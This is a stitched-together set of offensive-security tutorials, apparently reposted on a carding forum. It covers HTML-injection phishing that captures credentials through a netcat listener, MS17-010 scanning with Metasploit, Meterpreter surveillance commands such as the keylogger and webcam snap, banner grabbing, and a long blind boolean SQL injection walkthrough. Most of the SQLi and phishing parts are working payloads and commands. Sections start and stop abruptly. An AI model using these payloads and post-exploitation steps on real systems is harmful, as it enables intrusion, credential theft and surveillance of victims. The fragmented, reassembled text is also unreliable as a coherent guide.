Now when the victim will open the malicious login page he will receive above web page which looks official to him and he will submit his credential in that page. As he will do so the request will be forward on attacker IP address.
[Image: 12.png?w=687&ssl=1]
nc -vlp 80
1
nc -vlp 80

The attacker will receive users credential as a response on netcat. From the screenshot, you can read username=bee & password=bug
Now attacker will use these credential for login.
[Image: 13.png?w=687&ssl=1]
Reflected HTML
The reflected HTML. HTML is also known as Non-Persistence is occurred when the web application responds immediately on user’s input without validating the inputs this lead an attacker to inject browser executable code inside the single HTML response. It’s named as “non-persistent” since the malicious script does not get stored inside the web server, therefore attacker will send the malicious link through phishing to trap the user.
The most common applying of this kind of vulnerability is in Search engines in the website: the attacker writes some arbitrary HTML code in the search textbox and, if the website is vulnerable, the result page will return the result of these HTML entities.
Example:
Following web page allow a user to submit his first and last name but these text fields are vulnerable to HTML injection.
[Image: 14.png?w=687&ssl=1]
Now type following html code in the text field given for the first name which creates a link for hackingarticles.in when you click on “RAJ”
<h1><a href ="http://www.hackingarticles.in">RAJ</a></h1>
1
<h1><a href ="http://www.hackingarticles.in">RAJ</a></h1>

Similarly type following code in the given text field for the last name:
<h2>CHANDEL</h2>
1
<h2>CHANDEL</h2>

Click on Go tab to execute this as first and last name.
[Image: 15.png?w=687&ssl=1]
From given screenshot, you can see it has submitted RAJ CHANDEL and the word “RAJ” contains a link for hackingarticles.in when you will click on the link it will forward to hackingarticles.in
[Image: 16.png?w=687&ssl=1]

Hello friends! Today we are going to use Burp Suite Scanner which is used for website security testing to identify certain vulnerability inside it. It is the first phase for web penetration testing for every security tester.
Burp Scanner is a tool for automatically finding security vulnerabilities in web applications. It is designed to be used by security testers and to fit in closely with your existing techniques and methodologies for performing manual and semi-automated penetration tests of web applications.

[To see content please register here]


1

[To see content please register here]


Let’s Start with burp proxy in order to intercept request between browser and website. From the screenshot, you can perceive that we have forwarded the intercepted data for “an active scan”.
Note: Always configure your browser proxy while making use of burp suite to intercept the request.
[Image: 1.png?w=687&ssl=1]
Through a window alert it will ask to confirm your action for the active scan; press YES to begin the active scan on targeted website.
[Image: 2.png?w=687&ssl=1]
Issue Activity
The issue activity tab contains a sequential record of the Scanner’s activity in finding new issues and updating existing issues. This is useful for various purposes:
  • An index number for the item, reflecting the order in which items were added.
  • The time that the activity occurred.
  • The action that was performed.
  • The issue type.
  • The host and URL path for the issue.
  • The insertion point for the issue, where applicable.
  • The severity and confidence of the issue.
From the screenshot you can observe that it highlighted 8 types of issues found inside website from scanning result as following:
  1. Cross-site scripting (reflected)
  2. Flash cross-domain policy
  3. SQL injection
  4. Unencrypted communications
  5. Cross-domain Referer leakage
  6. Email addresses disclosed
  7. Frameable response (potential Clickjacking)
  8. Path-relative style sheet import
[Image: 3.1.png?w=687&ssl=1]
Active Scan Queue
Active scanning typically involves sending large numbers of requests to the server for each base request that is scanned, and this can be a time-consuming process. When you send requests for active scanning, these are added to the active scan queue, in which they are processed in turn.
  • An index number for the item, reflecting the order in which items were added.
  • The destination protocol, host and URL.
  • The current status of the item, including percentage complete.
  • The number of scan issues identified for the item.
  • The number of requests made while scanning the item.
  • The number of network errors
  • The number of insertion points created for the item.
  • The start and end times of the item’s scanning.
One by one we are going to demonstrate these vulnerabilities in details using request and response.
[Image: 3.png?w=687&ssl=1]
Advisory on Cross-site scripting (reflected)
It gave your brief detail of vulnerability and idea to exploit it.
Issue: 
Cross-site scripting (reflected)
Severity: 
High
Confidence: 
Certain
Host: 

[To see content please register here]


Path: 
/listproducts.php
The value of the cat request parameter is copied into the HTML document as plain text between tags. The payload was submitted in the cat parameter. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application’s response.
[Image: 4.png?w=687&ssl=1]
Inside the request tab, we will get Inject payload with intercepted data in order to receive the certain response of generated request. In the given image you can observe that it has injected JavaScript inside URL with Cat parameter
[Image: 5.png?w=687&ssl=1]
As response, we can see the injected payload get submitted inside the database. Now it will generate an alert prompt on the screen when get executed on the website.
[Image: 6.png?w=687&ssl=1]
Let’s verify it manually on the running website.
Execute following script inside URL with cat parameter, As a result, you will receive prompt 1 as an alert window.
[Image: 7.1.png?w=687&ssl=1]
Advisory on SQL injection
Similarly test for other vulnerability
Issue: 
SQL injection
Severity: 
High
Confidence: 
Firm
Host: 

[To see content please register here]


Path: 
/listproducts.php
The cat parameter appears to be vulnerable to SQL injection attacks. The payload ‘ was submitted in the cat parameter, and a database error message was returned. You should review the contents of the error message, and the application’s handling of other input, to confirm whether the vulnerability is present.
The database appears to be MySQL.
[Image: 7.png?w=687&ssl=1]
Under request tab single code (‘) will pass with the cat parameter to break the SQL statement in order to receive database error as a response.
[Image: 8.png?w=687&ssl=1]
Under the response tab you can read the highlighted text which clearly points towards SQL vulnerability inside the database.
[Image: 9.png?w=687&ssl=1]
Advisory on Flash cross-domain policy
Issue: 
Flash cross-domain policy
Severity: 
High
Confidence: 
Certain
Host: 

[To see content please register here]


Path: 
/crossdomain.xml
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
[Image: 10.png?w=687&ssl=1]
Similarly, as above it has generated the request through GET method using crossdomain.xml
[Image: 11.png?w=687&ssl=1]
It has received a successful response over its GET request, inside highlighted text you can read it has allowed accessing this site from any domain with any port number and security is set as False.
In this way, we can see how the burp suite scanner tests the security loopholes in a website.
[Image: 12.png?w=687&ssl=1]

Hello Friends! As we all know that Microsoft Windows 7 are exploitable by eternal blue with SMBv1. Then Microsoft patches this vulnerability by updating the SMB version. Still, there are a large number of Windows 7 users who didn’t update their system. Now if a security tester wants to separate vulnerable system from update system he requires some scanning to identify a vulnerable system.
The eternal scanner is a network scanner for Eternal Blue exploit CVE-2017-0144.
Target: Windows 7
Attacker: Kali Linux
Open the terminal in your Kali Linux and type the following command to download it from GitHub.
git clone

[To see content please register here]

&& cd eternal_scanner

1
git clone

[To see content please register here]

&& cd eternal_scanner

[Image: 1.png?w=687&ssl=1]
After then when it gets successfully install you need run the script for in the Oder to lunch the scanner on the terminal by typing following:
escan
Once the scanner is launched inside the terminal further it will ask to enter target IP or you can also add a range of IPs for scanning.
We have given only single IP for scanning i.e. 192.168.1.106 as a target.
Then it will start scanning and dumb those IP which is vulnerable in given IP range; from the screenshot, you can observe it has dump 192.168.1.106:445 as vulnerable IP with SMB port 445 and save the output inside /root/eternal_scanner/vulnr.txt
[Image: 2.png?w=687&ssl=1]
When you will open the output file you will observe vulnerable IP as well as the name of exploit “MS17 -010” as shown in the given image.
Similarly, you can scan the target using NMAP and Metasploit
[Image: 3.png?w=687&ssl=1]
Nmap
Attempts to detect if a Microsoft SMBv1 server is vulnerable to a remote code execution vulnerability (ms17-010, a.k.a. EternalBlue). The vulnerability is actively exploited by WannaCry and Petya ransomware and other malware.
The script connects to the $IPC tree, executes a transaction on FID 0 and checks if the error “STATUS_INSUFF_SERVER_RESOURCES” is returned to determine if the target is not patched against ms17-010. Additionally, it checks for known error codes returned by patched systems.
Tested on Windows XP, 2003, 7, 8, 8.1, 10, 2008, 2012 and 2016.
The following command will scan the SMB vulnerability using in-built certain scripts and report according to the output result.
nmap -T4 -p445 --script vuln 192.168.1.106
1
nmap -T4 -p445 --script vuln 192.168.1.106

You can observe from the given screenshot that port 445 is open and vulnerable. The target is exploitable to MS17-010 moreover Rate of Risk is High which mean it is easily vulnerable.
[Image: 4.png?w=687&ssl=1]
We can direct scan for SMB vulnerability for MS17-010 using NMAP script using following NMAP command:
nmap -T4 -p445 --script smb-vuln-ms17-010 192.168.1.106
1
nmap -T4 -p445 --script smb-vuln-ms17-010 192.168.1.106

From the given screenshot, you will observe that it has only scanned for MS17-010 and found the target is vulnerable against it.
From both results of NMAP, we have concluded that the target is vulnerable due to Microsoft SMBv1.
[Image: 5.png?w=687&ssl=1]
Metasploit
Uses information disclosure to determine if MS17-010 has been patched or not. Specifically, it connects to the IPC$ tree and attempts a transaction on FID 0. If the status returned is “STATUS_INSUFF_SERVER_RESOURCES”, the machine does not have the MS17-010 patch. If the machine is missing the MS17-010 patch, the module will check for an existing DoublePulsar (ring 0 shellcode/malware) infection. This module does not require valid SMB credentials in default server configurations. It can log on as the user “\” and connect to IPC$.
msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.106
msf auxiliary(smb_ms17_010) > set lhost 192.168.1.104
msf auxiliary(smb_ms17_010) > set rport 445
msf auxiliary(smb_ms17_010) > exploit

1
2
3
4
5

msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.106
msf auxiliary(smb_ms17_010) > set lhost 192.168.1.104
msf auxiliary(smb_ms17_010) > set rport 445
msf auxiliary(smb_ms17_010) > exploit

From the screenshot, you can perceive that the host is vulnerable to MS17-010
Great!!! Now use MS17-010 to exploit your target.
[Image: 6.png?w=687&ssl=1]

From Wikipedia
A Web crawler, sometimes called a spider, is an Internet bot that systematically browses the World Wide Web, typically for the purpose of Web indexing.
A Web crawler starts with a list of URLs to visit, called the seeds. As the crawler visits these URLs, it identifies all the hyperlinks in the page and adds them to the list of URLs to visit.  If the crawler is performing archiving of websites it copies and saves the information as it goes. The archive is known as the repository and is designed to store and manage the collection of web pages. A repository is similar to any other system that stores data, like a modern-day database.
Let’s Begin!!
Metasploit
This auxiliary module is a modular web crawler, to be used in conjunction with wmap (someday) or standalone.
use auxiliary/crawler/msfcrawler
msf auxiliary(msfcrawler) > set rhosts

[To see content please register here]

msf auxiliary(msfcrawler) > exploit

1
2
3

use auxiliary/crawler/msfcrawler
msf auxiliary(msfcrawler) > set rhosts

[To see content please register here]

msf auxiliary(msfcrawler) > exploit

From, the screenshot you can see it has loaded crawler in order to exact hidden file from any website, for example, about.php, jquery contact form, html and etc which is not possible to exact manually from the website using the browser. For information gathering of any website, we can use it.
[Image: 1.png?w=687&ssl=1]
Httrack
HTTrack is a free and open source Web crawler and offline browser, developed by Xavier Roche
It allows you to download a World Wide Web site from the Internet to a local directory, building recursively all directories, getting HTML, images, and other files from the server to your computer. HTTrack arranges the original site’s relative link-structure.
Type following command inside the terminal
httrack

[To see content please register here]

–O /root/Desktop/file

1
httrack

[To see content please register here]

–O /root/Desktop/file

It will save the output inside given directory /root/Desktop/file
[Image: 2.png?w=687&ssl=1]
From given screenshot you can observe this, it has dumb the website information inside it which consist html file as well as JavaScript and jquery.
[Image: 3.png?w=687&ssl=1]
Black Widow
This Web spider utility detects and displays detailed information for a user-selected Web page, and it offers other Web page tools.
BlackWidow’s clean, logically tabbed interface is simple enough for intermediate users to follow but offers just enough under the hood to satisfy advanced users. Simply enter your URL of choice and press Go. BlackWidow uses multi-threading to quickly download all files and test the links. The operation takes only a few minutes for small Web sites.
You can download it from here.
Enter your URL

[To see content please register here]

in Address field and press Go.

[Image: 4.png?w=687&ssl=1]
Click on start button given on the left side to begin URL scanning and select a folder to save the output file.
From the screenshot, you can observe that I had browse C:\Users\RAJ\Desktop\tptl in order to store output file inside it.
[Image: 5.png?w=687&ssl=1]
When you will open target folder tptl you will get entire data of website either image or content, html file, php file, and JavaScript all are saved in it.
[Image: 6.png?w=687&ssl=1]
Website Ripper Copier
Website Ripper Copier (WRC) is an all-purpose, high-speed website downloader software to save website data. WRC can download website files to a local drive for offline browsing, extract website files of a certain size and type, like the image, video, picture, movie, and music, retrieve a large number of files as a download manager with resumption support, and mirror sites. WRC is also a site link validator, explorer, and tabbed antipop-up Web / offline browser.
Website Ripper Copier is the only website downloader tool that can resume broken downloads from HTTP, HTTPS and FTP connections, access password-protected sites, support Web cookies, analyze scripts, update retrieved sites or files, and launch more than fifty retrieval threads
You can download it from

[To see content please register here]

.

Choose “websites for offline browsing” option.
[Image: 7.png?w=687&ssl=1]
Enter the website URL as

[To see content please register here]

and click on next.

[Image: 8.png?w=687&ssl=1]
Mention directory path to save the output result and click run now.
[Image: 9.png?w=687&ssl=1]
When you will open selected folder tp you will get fetched CSS,php,html and js file inside it.
[Image: 10.png?w=687&ssl=1]
Burp Suite Spider
Burp Spider is a tool for automatically crawling web applications. While it is generally preferable to map applications manually, you can use Burp Spider to partially automate this process for very large applications, or when you are short of time.
For more detail read our previous articles from

[To see content please register here]

.

From given screenshot you can observe that I had fetched the http request of

[To see content please register here]

; now send to spider with help of action tab.

[Image: 11.png?w=687&ssl=1]
The targeted website has been added inside the site map under the target tab as a new scope for web crawling.  From the screenshot, you can see it started web crawling of the target website where it has collected the website information in the form of php, html, and js.
[Image: 12.png?w=687&ssl=1]


  [Guide] 5 ways to Banner Grabbing
Posted by: NINZA - 05-04-2020, 06:17 PM - Forum: Carders Home - No Replies

Banner refers to a text message that received from the host. Banners usually contain information about a service, such as the version number.
From Wikipedia
Banner grabbing is a process to collect details regarding any remote PC on a network and the services running on its open ports. An attacker can make use of banner grabbing in order to discover network hosts and running services with their versions on their open ports and moreover operating systems so that he can exploit it.
Nmap
A simple banner grabber which connects to an open TCP port and prints out anything sent by the listening service within five seconds.
The banner will be shortened to fit into a single line, but an extra line may be printed for every increase in the level of verbosity requested on the command line.
Type following command which will fetch banner for every open port in remote PC.
nmap -sV --script=banner 192.168.1.106
1
nmap -sV --script=banner 192.168.1.106

From the screenshot, you can read the services and their version for open ports fetched by NMAP Script to grab the banner for the target 192.168.1.106
[Image: 1.png?w=687&ssl=1]
Following command will grab the banner for selected port i.e. 80 for http service and version.
nmap -Pn -p 80 -sV --script=banner 192.168.1.106
1
nmap -Pn -p 80 -sV --script=banner 192.168.1.106

As result, it will dumb “http-server-header: Apache/2.2.8 (Ubuntu) DAV/2”
[Image: 2.png?w=687&ssl=1]
CURL
Curl is used for the head in order to shown document information only; type following command to grab HTTP banner of remote PC.
curl -s -I 192.168.1.106 | grep -e "Server: "
1
curl -s -I 192.168.1.106 | grep -e "Server: "

As result it will dumb “http-server-header: Apache/2.2.8 (Ubuntu) DAV/2”
[Image: 3.png?w=687&ssl=1]
Telnet
Type following command to grab SSH banner of remote PC.
telnet 192.168.1.106 22
1
telnet 192.168.1.106 22

As result it will dumb “SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1”
[Image: 5.png?w=687&ssl=1]
Netcat
Type following command to grab SSH banner of remote PC.
nc -v 192.168.1.106 22
1
nc -v 192.168.1.106 22

As result it will dumb “SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1”
[Image: 4.png?w=687&ssl=1]
Dmitry
Dmitry (Deepmagic Information Gathering Tool) is a UNIX/(GNU)Linux Command Line Application coded in C. Dmitry has the ability to gather as much information as possible about a host. Base functionality is able to gather possible subdomains, email addresses, uptime information, tcp port scan, whois lookups, and more.
Dmitry –b is used for banner grabbing for all open ports; Type following command to grab SSH banner of remote PC.
dmitry -b 192.168.1.106
1
dmitry -b 192.168.1.106

From the screenshot, you can see it has shown banner for open port 21, 22, 23 and 25.
In this way, Attacker can grab the services and their version for open ports on remote PC
[Image: 6.png?w=687&ssl=1]

Metasploit is a security project or we can say a framework provided to us in order to run exploit code in the target’s PC.
Metasploit in current scenario includes more than 1600 exploits. It has more than 420 payloads right now which includes command shell, Meterpreter etc.
Meterpreter is generated only when the session is created. It helps in gaining full access to the target machine.
Once the meterpreter is generated we can have full access to the target machine. Meterpreter includes more than 300 commands which can help us in exploiting the target machine. Help command is the most basic meterpreter command which will provide us with all the commands which can be performed on the target machine.
Some of the meterpreter commands are given below:
Sysinfo
This command will provide the system’s information of the victim. It will provide us every detail of the victim’s PC such as architecture, Operating system in the target machine, how many users are logged in into that machine, system’s language.
[Image: 1.png?w=687&ssl=1]
Getuid
This command will provide the identification of the user of the remote PC.
[Image: 2.png?w=687&ssl=1]
Getprivs
This command checks the privilege present in the remote PC. If the enabled process privileges are less than the current working user is not the admin.
[Image: 3.png?w=687&ssl=1]
Pwd
Pwd stands for present working directory. It shows the current working directory in the remote PC.
[Image: 4.png?w=687&ssl=1]
The image above clearly shows that the user is currently in the Downloads.
PS
PS command here stands for the process. It will show all the running processes in the remote PC.
[Image: 5.png?w=687&ssl=1]
The image above is providing all the running processes followed by the process id in the victim’s PC.
Keylogger
Keylogger includes 3 basic functions:
keyscan_start
This command will start scanning the keyboard activity of the remote PC.
keyscan_dump
This command will dump the keyboard activity of the remote PC i.e, it will capture the input and display on our screen.
keyscan_stop
This command will stop scanning the keyboard activity of the remote PC.
[Image: 6.png?w=687&ssl=1]
As we can clearly see in the above-given image that the input given by the victim is visible to us.
Show_mount
This command will show all the drives present in the remote PC. The drives with the total size and available size in the target’s PC is displayed below.
[Image: 7.png?w=687&ssl=1]
Screenshot
By using this command screenshot of the remote PC is captured and is saved in our PC. The path is also provided where the screenshot is saved as shown in the image below.
[Image: 8.png?w=687&ssl=1]
Upload
By using this command we can upload any file into the victim’s PC.
To upload the file in remote PC we have to provide the path of the file with the filename and extension of the file as well as the destination where we want to upload.
[Image: 9.png?w=687&ssl=1]
Download
By using this command we can download any file from the victim’s PC.
To download the file we have to first provide the path from where we want to download followed by the file name and extension of the file. In the last, we have to add the path where we want to save that downloaded file.
[Image: 10.png?w=687&ssl=1]
Shell
Shell command will provide us the access of the command prompt of the remote PC. After having access to the command prompt we can use any cmd command to exploit victim’s PC.
[Image: 11.png?w=687&ssl=1]
Getsid
In this command, sid stands for security identifier. This command will provide the server sid.
[Image: 12.png?w=687&ssl=1]
Ipconfig
This command will tell us the IP Address of the remote PC. We will also be able to know the Mac Address of the remote PC.
[Image: 13.png?w=687&ssl=1]
Background
This command will send the current active meterpreter session to the background. If you want to go back to the previous session just write sessions and then we will be able to see the active session in our PC. If there is more than one session then we only have to write sessions followed by the session id and we will have the access of that machine whose session id we just selected.
[Image: 14.png?w=687&ssl=1]
Migrate
This command helps in transferring the current going process from one port to another port.
[Image: 15.png?w=687&ssl=1]
As you can see in the image above we have transferred the current going process from port no 3872 to port no 2224.
Reboot
This command will reboot the remote PC.
[Image: 16.png?w=687&ssl=1]
Webcam_snap
This command will take a snap of the remote PC.
[Image: 17.png?w=687&ssl=1]
[Image: 18.png?w=687&ssl=1]
As you can see the above-given image is the snap taken by the remote PC.
Getpid
This command will provide us with the process id of the currently running process. The currently running process in the target machine has process id 9040 which is displayed in the below-provided image.
[Image: 19.png?w=687&ssl=1]
Localtime
This command will just show us the date and time of the remote PC.
[Image: 20.png?w=687&ssl=1]
Checksum
This command will provide the hash value of the given file. We just have to write the command followed by the name of the file as well as the extension of it. The hash value is basically the value distinctly generated for every file to maintain the integrity of the file. If there is any kind of modification in the file the hash value is changed even if there is a modification of a single character.
The above-given image provides the hash value of the file kJMKzE.
[Image: 21.png?w=687&ssl=1]
Thank You for reading this article.  We will be discussing more meterpreter commands in the next article.

Their so many ways to hack the database using SQL injection as we had seen in our previous tutorial Error based attack, login formed based attack and much more different type of attack in order to retrieve information from the inside database. In the same way today we will learn a new type of SQL injection attack known as Blind Boolean based attack.
An attacker always checks SQL injection vulnerability using a comma (‘) inside URL  to break the statement in order to receive a SQL error message. It is a fight between the developer and attacker, the developer increases the security level and the attacker tries to break it. This time developer had blocked error message as the output on the website. Hence if the database is vulnerable to SQL injection then the attacker does not obtain any error message on the website. The attacker will try to confirm if the database is vulnerable to Blind SQL Injection by evaluating the results of various queries which return either TRUE or FALSE.
Let’s start!!
Using Dhakkan we will demonstrate blind SQL injection.
Lesson 8
Lesson 8 is regarding blind boolean based injection therefore first we need to explore http://localhost:81/sqli/Less-8/?id=1 on the browser, this will send the query into the database.
SELECT * from table_name WHERE id=1
1
SELECT * from table_name WHERE id=1

As output, it will display “you are in” the yellow colour text on the web page as shown in the given image.
[Image: 0.png?w=687&ssl=1]
When an attacker tries to break this query using a comma (‘) http://localhost:81/sqli/Less-8/?id=1’
Or other different technique he will not able to found an error message. Moreover, the yellow colour text will disappear if the attacker tries to inject invalid query which also shown in the given image.
[Image: 1.png?w=687&ssl=1]
Then attacker will go for blind SQL injection to make sure, that inject query must return an answer either true or false.
http://localhost:81/sqli/Less-8/?id=1' AND 1=1 --+
SELECT * from table_name WHERE id=1' AND 1=1

1
2

http://localhost:81/sqli/Less-8/?id=1' AND 1=1 --+
SELECT * from table_name WHERE id=1' AND 1=1

Now database test for given condition whether 1 is equal to 1 if the query is valid it returns TRUE, from the screenshot you can see we have got yellow colour text again “you are in”, which means our query is valid.
[Image: 2.png?w=687&ssl=1]
In the next query which checks for URL
http://localhost:81/sqli/Less-8/?id=1' AND 1=0 --+
SELECT * from table_name WHERE id=1' AND 1=0

1
2

http://localhost:81/sqli/Less-8/?id=1' AND 1=0 --+
SELECT * from table_name WHERE id=1' AND 1=0

Now it will test the given condition whether 1 is equal to 0 as we know 1 is not equal to 0 hence database answer as ‘FALSE’ query. From the screenshot, it confirms when yellow color text gets disappear again.
Hence it confirms that the web application is infected to blind SQL injection. Using true and false condition we are going to retrieve database information.
[Image: 3.1.png?w=687&ssl=1]
Length of database string
The following query will ask the length of the database string. For example, the name of the database is IGNITE which contains 6 alphabets so the length of string for database IGNITE is equal to 6.
Similarly, we will inject given below query which will ask whether the length of database string is equal to 1, in the response of that query it will answer by returning TRUE or FALSE through text “you are in”.
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1 --+

From given screenshot you can see again the text gets disappear which means it has return FALSE to reply NO the length of database string is not equal to 1
[Image: 3.png?w=687&ssl=1]
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 --+

Again it will test the length of the database string is equal to 2; it has return FALSE to reply NO the length of database string is not equal to 2. Repeat the same step till we do not receive TRUE for string length 3/4/5/ and so on.
[Image: 4.png?w=687&ssl=1]
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 --+

when I test for the string is equal to 8; it answers as true and as result yellow colour text “you are in” appears again.
[Image: 6.png?w=687&ssl=1]
As we know the computer does not understand the human language it can read the only binary language, therefore, we will use ASCII code. The ASCII code associates an integer value for all symbols in the character set, such as letters, digits, punctuation marks, special characters, and control characters.
For example look at following string ascii code:
1 = I = 73
2 = G = 71
3 = N = 78
4 = I = 73
5 = T = 84
6 = E = 69
[Image: 7.gif?w=687&ssl=1]
Image Source:lookuptable.com
Further, we will enumerate the database name using ascii character for all 8 strings.
Next query will ask from database test the condition whether the first string of database name is greater than 100 using acsii substring.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 --+

It reflects TRUE condition hence if you match the ascii character you will observe that from 100 small alphabets string has been running till 172.
[Image: 7.png?w=687&ssl=1]
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 120 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 120 --+

Similarly, it will test again whether the first letter is greater than 120. But this time it returns FALSE which means the first letter is greater than 100 and less than 120.
[Image: 8.png?w=687&ssl=1]
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 --+

Now next it will equate first string from 101, again we got FALSE.
[Image: 9.png?w=687&ssl=1]
We had performed this test from 101 till 114 but receive FALSE every time.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 --+

[Image: 10.png?w=687&ssl=1]
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 --+

Finally receive a TRUE reply at 115 which means the first string is equal to 115, where 115 =‘s’
[Image: 11.png?w=687&ssl=1]
Similarly, test for the second string, repeat above step by replacing the first string from second.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 --+

[Image: 12.png?w=687&ssl=1]
I received a TRUE reply at 101 which means the second string is equal to 101 and 101 = ‘e’.
Similarly, I had performed this for all eight strings and got the following result:
Given query will test the condition whether the length of string for the first table is equal to 6 or not.
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+

In reply we receive TRUE and text “you are in” appears again on the web site.
Similarly I test for second and third table using same technique by replacing only table number in same query.
1 = s = 115
2 = e = 101
3 = c =99
4 = u =117
5 = r =114
6 = i = 105
7 = t = 116
8 = y = 121
[Image: 14.png?w=687&ssl=1]
Table string length
We have to use the same technique for enumerating information of the table from inside the database. Given query will test the condition whether the length of string for the first table is greater than 5 or not.
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 --+

In reply we receive TRUE and text “you are in” appears again on the web site.
[Image: 15.png?w=687&ssl=1]
Given query will test the condition whether the length of string for the first table is greater than 6 or not.
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 --+

In reply we receive FALSE and text “you are in” disappears again from the web site.
[Image: 16.png?w=687&ssl=1]
Given query will test the condition whether the length of string for the first table is equal to 6 or not.
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+

In reply we receive TRUE and text “you are in” appears again on the web site.
Similarly, I test for the second and third table using the same technique by replacing only table number in the same query.
[Image: 17.png?w=687&ssl=1]
Similarly enumerating fourth table information using the following query to test the condition whether the length of string for the fourth table is equal to 5 or not.
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+

In reply we receive TRUE and text “you are in” appears again on the web site.
As we had performed in database enumeration using ascii code similarly we are going to use the same technique to retrieve the table name.
[Image: 18.png?w=687&ssl=1]
Further, we will enumerate the 4th table name using ascii character for all 5 strings.
Next query will ask from the database to test the condition whether the first string of table name is greater than 115 using acsii substring.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 115 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 115 --+

It reflects TRUE condition text “you are in” appears again on the web site hence if you match the ascii character.
[Image: 19.png?w=687&ssl=1]
Next query will ask from the database to test the condition whether the first string of table name is greater than 120 using acsii substring.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 120 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 120 --+

But this time it returns FALSE which means the first letter is greater than 115 and less than 120.
[Image: 20.png?w=687&ssl=1]
Proceeding towards equating the string from ascii code between number 115 to 120. Next query will ask from the database to test the condition whether the first string of table name is greater than 120 using acsii substring.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 116 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 116 --+

It returns FALSE, text get disappear.
[Image: 21.png?w=687&ssl=1]
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 --+

It returns TRUE, text gets to appear.
Similarly we had test remaining strings and received following result
1 = u = 117
2 = s = 115
3 = e = 101
4 = r = 114
5 = s = 115
[Image: 22.png?w=687&ssl=1]
User Name Enumeration
Using the same method we are going to enumerate length of string username from inside the table users
Given below query will test for string length is equal to 4 or not.
http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 --+

It replies TRUE with help of yellow color text
[Image: 23.1.png?w=687&ssl=1]
Using the same method we are going to enumerate username from inside the table users
Given below query will test for a first string using ascii code.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 100 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 100 --+

We received FALSE which means the first string must be less than 100.
[Image: 23.png?w=687&ssl=1]
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 50 --+
1
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 50 --+

